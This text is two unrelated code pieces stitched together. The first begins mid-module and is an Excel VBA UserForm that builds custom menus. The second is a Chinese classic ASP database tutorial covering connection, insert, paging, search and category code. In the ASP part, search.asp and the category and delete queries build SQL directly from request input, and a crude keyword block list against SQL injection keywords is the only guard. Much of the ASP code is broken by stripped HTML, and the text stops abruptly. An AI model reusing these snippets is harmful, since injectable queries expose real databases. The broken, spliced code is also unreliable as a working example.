Button = 1 Then bMenuSelected = True: Menu_Select End Sub Private Sub MenuBar_Click() UnSelectLastMenu bMenuSelected = False End Sub Private Sub MenuBar_MenuItem_MouseMove(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single) UnSelectLastMenu Call Menu_Select End Sub Private Sub MenuBar_MouseMove1(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single) If Not bMenuSelected Then UnSelectLastMenu End Sub Private Sub WorkForm_Click() '窗体单击时 UnSelectLastMenu bMenuSelected = False End Sub Private Sub WorkForm_MouseMove(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single) If Not bMenuSelected Then UnSelectLastMenu '窗体 End Sub Private Sub Menu_Select() '选择菜单 On Error Resume Next Dim Pt_Menu_RightBottom As POINTAPI, Pt_Menu_LeftTop As POINTAPI With WorkForm UnSelectLastMenu Set LastSelect_Menu = BackMenu_BackGroud With BackMenu_BackGroud .BorderStyle = fmBorderStyleSingle .BorderColor = RGB(0, 0, 128) .BackStyle = fmBackStyleOpaque If bMenuSelected = False Then WorkForm.Controls("BackMenu_BackGroud" & Index).BackColor = &HFFC0C0 Else WorkForm.Controls("BackMenu_BackGroud" & Index).BackColor = &HE0E0E0 pt.X = MenuBar_MenuItem.Left * 1.33 pt.Y = (MenuBar_MenuItem.Top + MenuBar_MenuItem.Height) * 1.33 + 3 ClientToScreen hForm, pt If OnAction "" Then Application.Run OnAction End If End If End With End With End Sub Private Sub UnSelectLastMenu() '取消上次选择 If Not LastSelect_Menu Is Nothing Then With LastSelect_Menu .Picture = LoadPicture() .BackStyle = fmBackStyleTransparent .BorderStyle = fmBorderStyleNone End With End If End Sub '********本模块结束********** '*************************** '* 菜单执行模块 * '*************************** Public Type POINTAPI X As Long Y As Long End Type Public Declare Function FindWindow Lib "user32.dll" Alias"FindWindowA"(ByVal lpClassName As String, ByVal lpWindowName As String) As Long Public Declare Function ClientToScreen Lib"user32"(ByVal hwnd As Long, lpPoint As POINTAPI) As Long Public Popup_Menu As CommandBar '指定弹出式菜单 Public LastSelect_Menu As MSForms.Image '最选择的菜单 Public MenuCount As Integer '子菜单数量 Public hForm As Long '窗口句柄 Public intLevel As Integer '级别标识,用于设置Radio菜单(游戏菜单:初级,级,高级) Public bAbortEnabled As Boolean '标识放弃菜单项是否可用 Public bItemCheck As Boolean '标识音效菜单是否CheckOn Public bMenuSelected As Boolean '标识菜单是否点击 Public pt As POINTAPI '定义点 Public faceid As Integer '图标ID Public faceidselect As Integer '选择的图标 Public fistid As Integer '第一个图标号 Public lastid As Integer '最一个图标号 Public selectrow,selectcol as integer Public Mcro(50) AS String SUB 文件() Clear_menu '清除弹出菜单上菜单项 Dim cmb As CommandBarControl AddCustomCommandBarPopup1 "打开 ", "", False, True,33,"" AddCustomCommandBarPopup1 "新建 ", "BB", False, True,18,"" AddCustomCommandBarPopup2 ("另存为 ") Set cmb = Application.CommandBars("CELL").Controls("另存为 ") AddCustomCommandBarPopup3 cmb, "OFFICE 97-2003文件 ", "DD", False, True, 3, "" Set cmb = Application.CommandBars("CELL").Controls("另存为 ") AddCustomCommandBarPopup4 cmb, "OFFICE 2007工作表 " Set cmb = Application.CommandBars("CELL").Controls("另存为 ").Controls("OFFICE 2007工作表 ") AddCustomCommandBarPopup3 cmb, "office 2007启用宏的工作表 ", "FF", False, True, 0, "" Set cmb = Application.CommandBars("CELL").Controls("另存为 ").Controls("OFFICE 2007工作表 ") AddCustomCommandBarPopup3 cmb, "OFFICE 2007工作表 ", "GG", False, True, 253, "" Popup_Menu.ShowPopup pt.X, pt.Y END SUB SUB 公式() Clear_menu '清除弹出菜单上菜单项 Dim cmb As CommandBarControl AddCustomCommandBarPopup1 "文本 ", "WB", False, True,7,"" AddCustomCommandBarPopup2 ("名称 ") Set cmb = Application.CommandBars("CELL").Controls("名称 ") AddCustomCommandBarPopup3 cmb, "定义 ", "DY", False, True, 0, "" Set cmb = Application.CommandBars("CELL").Controls("名称 ") AddCustomCommandBarPopup4 cmb, "单元格 " Set cmb = Application.CommandBars("CELL").Controls("名称 ").Controls("单元格 ") AddCustomCommandBarPopup3 cmb, "合并 ", "HB", False, True, 592, "" Set cmb = Application.CommandBars("CELL").Controls("名称 ").Controls("单元格 ") AddCustomCommandBarPopup3 cmb, "从属 ", "CS", False, True, 564, "" Popup_Menu.ShowPopup pt.X, pt.Y END SUB SUB 开发工具() Clear_menu '清除弹出菜单上菜单项 Dim cmb As CommandBarControl AddCustomCommandBarPopup1 "插入 ", "CR", False, True,548,"" AddCustomCommandBarPopup1 "模式 ", "MS", False, True,590,"" AddCustomCommandBarPopup2 ("宏 ") Set cmb = Application.CommandBars("CELL").Controls("宏 ") AddCustomCommandBarPopup3 cmb, "录制宏 ", "LZH", False, True, 205, "" Set cmb = Application.CommandBars("CELL").Controls("宏 ") AddCustomCommandBarPopup3 cmb, "安全性 ", "AQX", False, True, 279, "" Set cmb = Application.CommandBars("CELL").Controls("宏 ") AddCustomCommandBarPopup3 cmb, "查看代码 ", "CKDM", False, True, 289, "" Popup_Menu.ShowPopup pt.X, pt.Y END SUB SUB 窗口() Clear_menu '清除弹出菜单上菜单项 Dim cmb As CommandBarControl AddCustomCommandBarPopup1 "并列比较 ", "BLBJ", False, True,250,"" AddCustomCommandBarPopup1 "冻结 ", "DJ", False, True,288,"" AddCustomCommandBarPopup1 "隐藏 ", "YC", False, True,237,"" AddCustomCommandBarPopup1 "拆分 ", "CF", False, True,292,"" AddCustomCommandBarPopup1 "取消冻结 ", "QXDJ", False, True,232,"" Popup_Menu.ShowPopup pt.X, pt.Y END SUB SUB 工具() Clear_menu '清除弹出菜单上菜单项 Dim cmb As CommandBarControl AddCustomCommandBarPopup1 "拼写检查 ", "PXJC", False, True,246,"" AddCustomCommandBarPopup2 ("保护 ") Set cmb = Application.CommandBars("CELL").Controls("保护 ") AddCustomCommandBarPopup3 cmb, "保护工作表 ", "BHGZB", False, True, 277, "" Set cmb = Application.CommandBars("CELL").Controls("保护 ") AddCustomCommandBarPopup3 cmb, "保护工作薄 ", "BHGZBB", False, True, 312, "" Set cmb = Application.CommandBars("CELL").Controls("保护 ") AddCustomCommandBarPopup3 cmb, "工作表菜单栏 ", "gzbcdl", False, True, 142, "" Set cmb = Application.CommandBars("CELL").Controls("保护 ") AddCustomCommandBarPopup3 cmb, "图表菜单栏 ", "tbgjl", False, True, 164, "" Popup_Menu.ShowPopup pt.X, pt.Y END SUB SUB 常用() Clear_menu '清除弹出菜单上菜单项 Dim cmb As CommandBarControl AddCustomCommandBarPopup1 "格式 ", "gs", False, True,108,"" AddCustomCommandBarPopup1 "数据透视表 ", "sjtsb", False, True,125,"" AddCustomCommandBarPopup1 "图表 ", "tb", False, True,127,"" AddCustomCommandBarPopup1 "审阅 ", "sy", False, True,124,"" AddCustomCommandBarPopup1 "窗体 ", "ct", False, True,128,"" AddCustomCommandBarPopup1 "停止录制 ", "tzlz", False, True,185,"" AddCustomCommandBarPopup2 ("外部数据 ") Set cmb = Application.CommandBars("CELL").Controls("外部数据 ") AddCustomCommandBarPopup3 cmb, "公式审核 ", "gssh", False, True, 129, "" Set cmb = Application.CommandBars("CELL").Controls("外部数据 ") AddCustomCommandBarPopup3 cmb, "全屏显示 ", "qpxs", False, True, 130, "" Set cmb = Application.CommandBars("CELL").Controls("外部数据 ") AddCustomCommandBarPopup3 cmb, "循环引用 ", "xhye", False, True, 132, "" Set cmb = Application.CommandBars("CELL").Controls("外部数据 ") AddCustomCommandBarPopup4 cmb, "VisualBasic " Set cmb = Application.CommandBars("CELL").Controls("外部数据 ").Controls("VisualBasic ") AddCustomCommandBarPopup3 cmb, "Web ", "web", False, True, 173, "" Set cmb = Application.CommandBars("CELL").Controls("外部数据 ").Controls("VisualBasic ") AddCustomCommandBarPopup3 cmb, "控件工具箱 ", "kjgjx", False, True, 174, "" Set cmb = Application.CommandBars("CELL").Controls("外部数据 ").Controls("VisualBasic ") AddCustomCommandBarPopup3 cmb, "退出设计模式 ", "tcsjms", False, True, 162, "" Set cmb = Application.CommandBars("CELL").Controls("外部数据 ").Controls("VisualBasic ") AddCustomCommandBarPopup3 cmb, "刷新 ", "sx", False, True, 165, "" Set cmb = Application.CommandBars("CELL").Controls("外部数据 ").Controls("VisualBasic ") AddCustomCommandBarPopup3 cmb, "监视窗口 ", "jsck", False, True, 168, "" Set cmb = Application.CommandBars("CELL").Controls("外部数据 ").Controls("VisualBasic ") AddCustomCommandBarPopup3 cmb, "数据透视表字段列表 ", "sjtsbzdb", False, True, 170, "" Set cmb = Application.CommandBars("CELL").Controls("外部数据 ").Controls("VisualBasic ") AddCustomCommandBarPopup3 cmb, "边 ", "bk", False, True, 178, "" Set cmb = Application.CommandBars("CELL").Controls("外部数据 ").Controls("VisualBasic ") AddCustomCommandBarPopup3 cmb, "保护 ", "bh", False, True, 160, "" Set cmb = Application.CommandBars("CELL").Controls("外部数据 ").Controls("VisualBasic ") AddCustomCommandBarPopup3 cmb, "文本到语音 ", "wbdyy", False, True, 164, "" Popup_Menu.ShowPopup pt.X, pt.Y END SUB SUB 列表() Clear_menu '清除弹出菜单上菜单项 Dim cmb As CommandBarControl AddCustomCommandBarPopup1 "并排比较 ", "bpbj1", False, True,180,"" AddCustomCommandBarPopup1 "绘图 ", "bpbj2", False, True,182,"" AddCustomCommandBarPopup1 "数据透视图菜单 ", "bpbj3", False, True,184,"" AddCustomCommandBarPopup2 ("工作簿标签 ") AddCustomCommandBarPopup2 ("单元格 ") Set cmb = Application.CommandBars("CELL").Controls("单元格 ") AddCustomCommandBarPopup3 cmb, "列 ", "bpbj6", False, True, 190, "" Set cmb = Application.CommandBars("CELL").Controls("单元格 ") AddCustomCommandBarPopup3 cmb, "行 ", "bpbj7", False, True, 192, "" Set cmb = Application.CommandBars("CELL").Controls("单元格 ") AddCustomCommandBarPopup3 cmb, "单元格 ", "bpbj8", False, True, 194, "" Set cmb = Application.CommandBars("CELL").Controls("单元格 ") AddCustomCommandBarPopup3 cmb, "柱形图 ", "bpbj9", False, True, 196, "" Set cmb = Application.CommandBars("CELL").Controls("单元格 ") AddCustomCommandBarPopup3 cmb, "行 ", "bpbj10", False, True, 198, "" Set cmb = Application.CommandBars("CELL").Controls("单元格 ") AddCustomCommandBarPopup4 cmb, "工作表 " Set cmb = Application.CommandBars("CELL").Controls("单元格 ").Controls("工作表 ") AddCustomCommandBarPopup3 cmb, "XLM 单元格 ", "bpbj12", False, True, 202, "" Set cmb = Application.CommandBars("CELL").Controls("单元格 ").Controls("工作表 ") AddCustomCommandBarPopup3 cmb, "文档 ", "bpbj13", False, True, 204, "" Set cmb = Application.CommandBars("CELL").Controls("单元格 ").Controls("工作表 ") AddCustomCommandBarPopup3 cmb, "桌面 ", "bpbj14", False, True, 206, "" Set cmb = Application.CommandBars("CELL").Controls("单元格 ").Controls("工作表 ") AddCustomCommandBarPopup3 cmb, "非默认拖放 ", "bpbj15", False, True, 208, "" Set cmb = Application.CommandBars("CELL").Controls("单元格 ").Controls("工作表 ") AddCustomCommandBarPopup3 cmb, "自动填充 ", "bpbj16", False, True, 210, "" Set cmb = Application.CommandBars("CELL").Controls("单元格 ").Controls("工作表 ") AddCustomCommandBarPopup3 cmb, "按钮 ", "bpbj17", False, True, 212, "" Set cmb = Application.CommandBars("CELL").Controls("单元格 ").Controls("工作表 ") AddCustomCommandBarPopup3 cmb, "对话 ", "bpbj18", False, True, 214, "" Popup_Menu.ShowPopup pt.X, pt.Y END SUB SUB 序列() Clear_menu '清除弹出菜单上菜单项 Dim cmb As CommandBarControl AddCustomCommandBarPopup1 "图形区 ", "bpbj20", False, True,218,"" AddCustomCommandBarPopup1 "基底墙纸 ", "bpbj21", False, True,220,"" AddCustomCommandBarPopup1 "趋势线 ", "bpbj22", False, True,222,"" AddCustomCommandBarPopup1 "图表 ", "bpbj23", False, True,224,"" AddCustomCommandBarPopup1 "设置数据系列格式 ", "bpbj24", False, True,226,"" AddCustomCommandBarPopup2 ("设置数据轴格式 ") Set cmb = Application.CommandBars("CELL").Controls("设置数据轴格式 ") AddCustomCommandBarPopup3 cmb, "设置图例项格式 ", "bpbj26", False, True, 230, "" Set cmb = Application.CommandBars("CELL").Controls("设置数据轴格式 ") AddCustomCommandBarPopup3 cmb, "编辑栏 ", "bpbj27", False, True, 232, "" Set cmb = Application.CommandBars("CELL").Controls("设置数据轴格式 ") AddCustomCommandBarPopup3 cmb, "数据透视表上下文菜单 ", "bpbj28", False, True, 234, "" Set cmb = Application.CommandBars("CELL").Controls("设置数据轴格式 ") AddCustomCommandBarPopup3 cmb, "查询 ", "bpbj29", False, True, 236, "" Set cmb = Application.CommandBars("CELL").Controls("设置数据轴格式 ") AddCustomCommandBarPopup3 cmb, "查询布局 ", "bpbj30", False, True, 238, "" Set cmb = Application.CommandBars("CELL").Controls("设置数据轴格式 ") AddCustomCommandBarPopup4 cmb, "自动计算 " Set cmb = Application.CommandBars("CELL").Controls("设置数据轴格式 ").Controls("自动计算 ") AddCustomCommandBarPopup3 cmb, "对象/图形区 ", "bpbj32", False, True, 242, "" Set cmb = Application.CommandBars("CELL").Controls("设置数据轴格式 ").Controls("自动计算 ") AddCustomCommandBarPopup3 cmb, "标题栏(图表) ", "bpbj33", False, True, 244, "" Popup_Menu.ShowPopup pt.X, pt.Y END SUB SUB 架() Clear_menu '清除弹出菜单上菜单项 Dim cmb As CommandBarControl AddCustomCommandBarPopup1 "数据透视图快捷菜单 ", "bpbj35", False, True,248,"" AddCustomCommandBarPopup1 "拼音信息 ", "bpbj36", False, True,250,"" AddCustomCommandBarPopup1 "自动合计 ", "bpbj37", False, True,252,"" AddCustomCommandBarPopup1 "选择性粘贴下拉 ", "bpbj38", False, True,254,"" AddCustomCommandBarPopup2 ("查找格式 ") Set cmb = Application.CommandBars("CELL").Controls("查找格式 ") AddCustomCommandBarPopup3 cmb, "替换格式 ", "bpbj40", False, True, 258, "" Set cmb = Application.CommandBars("CELL").Controls("查找格式 ") AddCustomCommandBarPopup3 cmb, "列表区域快捷菜单 ", "bpbj41", False, True, 260, "" Set cmb = Application.CommandBars("CELL").Controls("查找格式 ") AddCustomCommandBarPopup3 cmb, "列表区域布局快捷菜单 ", "bpbj42", False, True, 262, "" Set cmb = Application.CommandBars("CELL").Controls("查找格式 ") AddCustomCommandBarPopup3 cmb, "XML 区域快捷菜单 ", "bpbj43", False, True, 264, "" Set cmb = Application.CommandBars("CELL").Controls("查找格式 ") AddCustomCommandBarPopup3 cmb, "列表区域布局快捷菜单 ", "bpbj44", False, True, 266, "" Set cmb = Application.CommandBars("CELL").Controls("查找格式 ") AddCustomCommandBarPopup3 cmb, "艺术字 ", "bpbj45", False, True, 268, "" AddCustomCommandBarPopup2 ("图片 ") Set cmb = Application.CommandBars("CELL").Controls("图片 ") AddCustomCommandBarPopup3 cmb, "阴影设置 ", "bpbj47", False, True, 272, "" AddCustomCommandBarPopup2 ("三维设置 ") Set cmb = Application.CommandBars("CELL").Controls("三维设置 ") AddCustomCommandBarPopup3 cmb, "绘图画布 ", "bpbj49", False, True, 276, "" Set cmb = Application.CommandBars("CELL").Controls("三维设置 ") AddCustomCommandBarPopup3 cmb, "组织结构图 ", "bpbj50", False, True, 278, "" Set cmb = Application.CommandBars("CELL").Controls("三维设置 ") AddCustomCommandBarPopup3 cmb, "图示 ", "bpbj51", False, True, 280, "" Set cmb = Application.CommandBars("CELL").Controls("三维设置 ") AddCustomCommandBarPopup3 cmb, "墨迹绘图与书写 ", "bpbj52", False, True, 282, "" Set cmb = Application.CommandBars("CELL").Controls("三维设置 ") AddCustomCommandBarPopup3 cmb, "墨迹注释 ", "bpbj53", False, True, 284, "" AddCustomCommandBarPopup2 ("边 ") Set cmb = Application.CommandBars("CELL").Controls("边 ") AddCustomCommandBarPopup3 cmb, "边 ", "bpbj55", False, True, 288, "" Set cmb = Application.CommandBars("CELL").Controls("边 ") AddCustomCommandBarPopup4 cmb, "绘图边 " Set cmb = Application.CommandBars("CELL").Controls("边 ").Controls("绘图边 ") AddCustomCommandBarPopup3 cmb, "图表类型 ", "bpbj57", False, True, 292, "" Set cmb = Application.CommandBars("CELL").Controls("边 ").Controls("绘图边 ") AddCustomCommandBarPopup3 cmb, "图案 ", "bpbj58", False, True, 294, "" Set cmb = Application.CommandBars("CELL").Controls("边 ").Controls("绘图边 ") AddCustomCommandBarPopup3 cmb, "字体颜色 ", "bpbj59", False, True, 296, "" Popup_Menu.ShowPopup pt.X, pt.Y END SUB SUB 填充颜色() Clear_menu '清除弹出菜单上菜单项 Dim cmb As CommandBarControl AddCustomCommandBarPopup1 "线条颜色 ", "bpbj61", False, True,300,"" AddCustomCommandBarPopup2 ("绘图与书写笔 ") Set cmb = Application.CommandBars("CELL").Controls("绘图与书写笔 ") AddCustomCommandBarPopup3 cmb, "批注笔 ", "bpbj63", False, True, 304, "" Set cmb = Application.CommandBars("CELL").Controls("绘图与书写笔 ") AddCustomCommandBarPopup3 cmb, "绘图书写笔 ", "bpbj64", False, True, 306, "" Set cmb = Application.CommandBars("CELL").Controls("绘图与书写笔 ") AddCustomCommandBarPopup3 cmb, "注释笔 ", "bpbj65", False, True, 308, "" Set cmb = Application.CommandBars("CELL").Controls("绘图与书写笔 ") AddCustomCommandBarPopup3 cmb, "叠放次序 ", "bpbj66", False, True, 310, "" Set cmb = Application.CommandBars("CELL").Controls("绘图与书写笔 ") AddCustomCommandBarPopup3 cmb, "微移 ", "bpbj67", False, True, 312, "" Set cmb = Application.CommandBars("CELL").Controls("绘图与书写笔 ") AddCustomCommandBarPopup3 cmb, "对齐或分布 ", "bpbj68", False, True, 314, "" AddCustomCommandBarPopup2 ("旋转或翻转 ") Set cmb = Application.CommandBars("CELL").Controls("旋转或翻转 ") AddCustomCommandBarPopup3 cmb, "直线 ", "bpbj70", False, True, 318, "" Set cmb = Application.CommandBars("CELL").Controls("旋转或翻转 ") AddCustomCommandBarPopup4 cmb, "连接符 " Set cmb = Application.CommandBars("CELL").Controls("旋转或翻转 ").Controls("连接符 ") AddCustomCommandBarPopup3 cmb, "自选图形 ", "bpbj72", False, True, 322, "" Set cmb = Application.CommandBars("CELL").Controls("旋转或翻转 ").Controls("连接符 ") AddCustomCommandBarPopup3 cmb, "标注 ", "bpbj73", False, True, 324, "" Popup_Menu.ShowPopup pt.X, pt.Y END SUB SUB 流程图() Clear_menu '清除弹出菜单上菜单项 Dim cmb As CommandBarControl AddCustomCommandBarPopup1 "箭头总汇 ", "bpbj75", False, True,328,"" AddCustomCommandBarPopup1 "星与旗帜 ", "bpbj76", False, True,330,"" AddCustomCommandBarPopup1 "基本形状 ", "bpbj77", False, True,332,"" AddCustomCommandBarPopup1 "插入形状 ", "bpbj78", False, True,334,"" AddCustomCommandBarPopup2 ("形状 ") Set cmb = Application.CommandBars("CELL").Controls("形状 ") AddCustomCommandBarPopup3 cmb, "非活动图表 ", "bpbj80", False, True, 338, "" Set cmb = Application.CommandBars("CELL").Controls("形状 ") AddCustomCommandBarPopup3 cmb, "Excel 控件 ", "bpbj81", False, True, 340, "" AddCustomCommandBarPopup1 "曲线 ", "bpbj82", False, True,342,"" AddCustomCommandBarPopup1 "曲线结点 ", "bpbj83", False, True,344,"" AddCustomCommandBarPopup1 "曲线段 ", "bpbj84", False, True,346,"" AddCustomCommandBarPopup1 "图片上下文菜单 ", "bpbj85", False, True,348,"" Popup_Menu.ShowPopup pt.X, pt.Y END SUB SUB OLE对象() Clear_menu '清除弹出菜单上菜单项 Dim cmb As CommandBarControl AddCustomCommandBarPopup1 "ActiveX 控件 ", "bpbj87", False, True,352,"" AddCustomCommandBarPopup1 "艺术字上下文菜单 ", "bpbj88", False, True,354,"" AddCustomCommandBarPopup1 "旋转方式 ", "bpbj89", False, True,356,"" AddCustomCommandBarPopup1 "连接符 ", "bpbj90", False, True,358,"" AddCustomCommandBarPopup1 "脚本标记快捷菜单 ", "bpbj91", False, True,360,"" AddCustomCommandBarPopup1 "Canvas Popup ", "bpbj92", False, True,362,"" AddCustomCommandBarPopup1 "Organization Chart Popup ", "bpbj93", False, True,364,"" AddCustomCommandBarPopup2 ("图表 ") Set cmb = Application.CommandBars("CELL").Controls("图表 ") AddCustomCommandBarPopup3 cmb, "选择 ", "bpbj95", False, True, 368, "" Set cmb = Application.CommandBars("CELL").Controls("图表 ") AddCustomCommandBarPopup4 cmb, "版式 " Set cmb = Application.CommandBars("CELL").Controls("图表 ").Controls("版式 ") AddCustomCommandBarPopup3 cmb, "符号栏 ", "bpbj97", False, True, 372, "" Set cmb = Application.CommandBars("CELL").Controls("图表 ").Controls("版式 ") AddCustomCommandBarPopup3 cmb, "任务窗格 ", "bpbj98", False, True, 374, "" Popup_Menu.ShowPopup pt.X, pt.Y END SUB SUB 添加命令() Clear_menu '清除弹出菜单上菜单项 Dim cmb As CommandBarControl AddCustomCommandBarPopup1 "内置菜单 ", "bpbj100", False, True,378,"" AddCustomCommandBarPopup1 "剪贴板 ", "bpbj101", False, True,380,"" AddCustomCommandBarPopup1 "信封 ", "bpbj102", False, True,382,"" AddCustomCommandBarPopup1 "联机会议 ", "bpbj103", False, True,384,"" AddCustomCommandBarPopup1 "SnagIt ", "bpbj104", False, True,386,"" Popup_Menu.ShowPopup pt.X, pt.Y END SUB SUB 关于() Clear_menu '清除弹出菜单上菜单项 Dim cmb As CommandBarControl AddCustomCommandBarPopup1 "我的VBA ", "WDVBA", False, True,400,"" AddCustomCommandBarPopup1 "帮助 ", "BZ", False, True,402,"" Popup_Menu.ShowPopup pt.X, pt.Y END SUB Public Sub ClearBar() '清除Cell弹出式菜单菜单项 Dim ctr As CommandBarControl With Popup_Menu .Enabled = True For Each ctr In .Controls ctr.Delete Next End With End Sub Sub RemoveCustomMenu() '恢复系统菜单的各弹出菜单 Application.CommandBars("CELL").Reset End Sub Sub clear_menu() Dim cmb As Object For Each cmb In Application.CommandBars("cell").Controls Application.CommandBars("cell").Controls(cmb.Caption).Delete Next End Sub Sub AddCustomCommandBarPopup1(Caption As String, Macro As String, NewGroup As Boolean, Enable As Boolean, FId As Integer, ShortT As String) '添加一级菜单选项 Dim cbb As CommandBarButton Set cbb = Application.CommandBars("CELL").Controls.Add(msoControlButton) cbb.Caption = Caption If FId > 0 Then cbb.faceid = FId If ShortT "" Then cbb.ShortcutText = ShortT cbb.OnAction = Macro cbb.BeginGroup = NewGroup cbb.Enabled = Enable End Sub Function AddCustomCommandBarPopup2(Caption As String) As CommandBarControl '添加子菜单项 Dim cmb As CommandBarControl Set cmb = Application.CommandBars("CELL").Controls.Add(msoControlPopup) cmb.Caption = Caption cmb.Visible = True Set AddCustomCommandBarPopup2 = cmb End Function Sub AddCustomCommandBarPopup3(cmb As Object, Caption As String, Macro As String, NewGroup As Boolean, Enable As Boolean, FId As Integer, ShortT As String) '添加一级菜单选项 Dim cbc As CommandBarButton Set cbc = cmb.Controls.Add(msoControlButton) cbc.Caption = Caption If FId > 0 Then cbc.faceid = FId If ShortT "" Then cbc.ShortcutText = ShortT cbc.OnAction = Macro cbc.BeginGroup = NewGroup cbc.Enabled = Enable End Sub Function AddCustomCommandBarPopup4(cmd As CommandBarControl, Caption As String) As CommandBarControl '添加子菜单项 Dim cme As CommandBarControl Set cme = cmd.Controls.Add(msoControlPopup) cme.Caption = Caption cme.Visible = True Set AddCustomCommandBarPopup4 = cme End Function '********本模块结束********** '*************************** '* 窗口模块 * '*************************** Private menu(1 To 50) As New Menu_Class '定义50个cMenu菜单类型 Private Sub UserForm_Initialize() hForm = FindWindow(vbNullString, Me.Caption) '程序需要用到窗口句柄,先获得它 MenuCount = 0 Set Popup_Menu = Application.CommandBars("Cell") '程序需指定一个弹出式菜单,我们指定为单元格右键菜单,您可另外指定一个弹出式菜单,请注意,是弹出式菜单 Dim bar As Control Set bar = Me.Controls.Add("Forms.image.1", "IM1", Visible) With bar .Visible = True .Left = -100 .Top = 0 .Height = 20 .Width = 20 .BackColor = &HFFC0C0 .BorderStyle = 0 End With '*************** Set bar = Me.Controls.Add("Forms.image.1", "IM2", Visible) With bar .Visible = True .Left = -100 .Top = 0 .Height = 20 .Width = 20 .BackColor = &HFFC0C0 .BorderStyle = 0 End With '*************** Set bar = Me.Controls.Add("Forms.image.1", "FormMenuBar", Visible) With bar .Visible = True .Left = -1 .Top = -1 .Height = 20 .Width = 2000 .BackColor = &HFFC0C0 .BorderStyle = 0 End With menu(1).AddMenu Me,"文件","文件","" menu(2).AddMenu Me,"公式","公式","" menu(3).AddMenu Me,"开发工具","开发工具","" menu(4).AddMenu Me,"窗口","窗口","" menu(5).AddMenu Me,"工具","工具","" menu(6).AddMenu Me,"常用","常用","" menu(7).AddMenu Me,"列表","列表","" menu(8).AddMenu Me,"序列","序列","" menu(9).AddMenu Me,"架","架","" menu(10).AddMenu Me,"填充颜色","填充颜色","" menu(11).AddMenu Me,"流程图","流程图","" menu(12).AddMenu Me,"OLE对象","OLE对象","" menu(13).AddMenu Me,"添加命令","添加命令","" menu(14).AddMenu Me,"关于","关于","" end sub Private Sub UserForm_QueryClose(Cancel As Integer, CloseMode As Integer) Dim i As Integer For i = LBound(menu) To UBound(menu) Set menu(i) = Nothing Next Popup_Menu.Enabled = True Popup_Menu.Reset end sub '********本模块结束**********
连接数据库代码实例 1,连接数据库代码 文件名称 conn.asp 所有访问数据库的文件都调用此文件 <% db=\"data/data.mdb\" \'数据库存放目录 on error resume next set conn=server.createobject(\"adodb.connection\") conn.open \"driver={microsoft access driver (*.mdb)};dbq=\"&server.mappath(db) if err then err.clear set conn = Nothing response.write \"数据库连接出错,请检查conn.asp的连接字符串。\" response.end end if function CloseDB Conn.Close set Conn=Nothing End Function %> <% dim badword badword=\"\'|and|select|update|chr|delete|%20from|;|insert|mid|master.|set|chr(37)|=\" if request.QueryString<>\"\" then chk=split(badword,\"|\") for each query_name in request.querystring for i=0 to ubound(chk) if instr(lcase(request.querystring(query_name)),chk(i))<>0 then response.write \"\" response.end end if next next end if %> ---------------------------------------------- 2。增加纪录 <% if request(\"action\")=\"add\" then name=request.form(\"name\") content=request.form(\"content\") set rs=server.createobject(\"adodb.recordset\") sql=\"select * from biao\" rs.open sql,conn,3,2 rs.addnew rs(\"name\")=name if content<>\"\" then rs(\"content\")=content else rs(\"content\")=null end if rs(\"date\")=date() rs.update rs.close set rs=nothing response.write \"\" end if %> -------------------------------------- 3.显示记录 <% set rs=server.createobject(\"adodb.recordset\") sql=\"select * from biao order by id desc\" \'sql=\"select top 10 * from biao order by id desc\" rs.open sql,conn,1,1 rs.pagesize=15 \'-------设置每页显示的记录数 dim page page=request(\"page\") if page<>\"\" and IsNumeric(page) then page=clng(page) else page=1 end if n=rs.pagecount if page>n then page=clng(n) end if if rs.eof then response.write\"暂没有信息!\" \'response.end else rs.absolutepage=page end if i=0 do while not rs.eof and i --------如果是每行显示n个纪录开始---------------------------- <% do while not rs.eof and i显示的个数 response.write \"\" end if %> --------如果是每行显示n个纪录结束----------------------------- <%=rs(\"id\")%> <% rs.movenext i=i+1 loop %> <% response.write(\"共\"&rs.recordcount&\"条信息   \") if page<>1 then response.write(\"1 title=\'首页\'>首页 \") else response.write(\"首页 \") end if if page>1 then response.write(\"1&\" title=\'上一页\'>上一页 \") else response.write(\"上一页 \") end if if page1&\" title=\'下一页\'>下一页 \") else response.write(\"下一页 \") end if if page<>n then response.write(\"尾页 \") else response.write(\"尾页 \") end if response.write(\"   当前页:\"&page&\"/\"&n&\"\") %> 转到: ------search.asp--------------- <% if request("keyword")<>"" and request("select")<>"" then sql="select * from biao where "&request("select")&" like '%"&request("keyword")&"%'" elseif request("keyword")<>"" and request("select")="all" then sql="select * from biao where name like '%"&request("keyword")&"%' or id like '%"&request("keyword")&"%' or content like '%"&request("keyword")&"%'" else response.redirect("index.asp") end if set rs=server.createobject("adodb.recordset") rs.open sql,conn,1,1 rs.pagesize=15 '-------设置每页显示的记录数 dim page page=request("page") if page<>"" and IsNumeric(page) then page=clng(page) else page=1 end if n=rs.pagecount if page>n then page=clng(n) end if if rs.eof then response.write"查询的信息不存或者已经删除!" 'response.end else rs.absolutepage=page end if i=0 do while not rs.eof and i <%=rs("id")%> <% rs.movenext i=i+1 loop %> ----------------------------------------- 6.有分类的纪录代码 ---------------显示分类开始--------------------------------- <% set rs=server.createobject("adodb.recordset") sql="select all * from class order by id desc" rs.open sql,conn,1,1 do while not rs.eof %> "><%=rs("classname")%> <% rs.movenext i=i+1 loop %> ---------------显示分类结束-------------------------- -------------显示分类开始------------------- <% set rs=server.createobject("adodb.recordset") sql="select top 1 * from class where classname='"&request("classname")&"'" rs.open sql,conn,1,1 do while not rs.eof %> <%=rs("classname")%> <% rs.movenext i=i+1 loop %> -----------显示分类结束---------------------- -----------显示此分类的纪录开始------------ <% set rs=server.createobject("adodb.recordset") sql="select * from biao where fenlei='"&request("classname")&"'" rs.open sql,conn,1,1 rs.pagesize=10 '-------设置每页显示的记录数 dim page page=request("page") if page<>"" and IsNumeric(page) then page=clng(page) else page=1 end if n=rs.pagecount if page>n then page=clng(n) end if if rs.bof or rs.eof then response.write"暂没有任何数据!" 'response.end else rs.absolutepage=page end if i=0 do while not rs.eof and i <%=rs("id")%> <% rs.movenext i=i+1 loop %> --------------显示此分类的纪录结束---------------- ---------删除所分类纪录开始------------ <% if request("classname")<>"" then%> " title="删除所有本类信息?" onClick="{if (confirm('您确定要删除所有信息吗?')){return true;}return false;}">清空所有本类信息 <%end if%> if request("action")="del_fenlei" then classname=request("classname") conn.execute("delete * from biao where fenlei='"&classname&"'") CloseDB response.write"" end if ---------删除所分类纪录结束-------------------------------- ------------------------------- 7。上传文件或者图片 删除文件代码 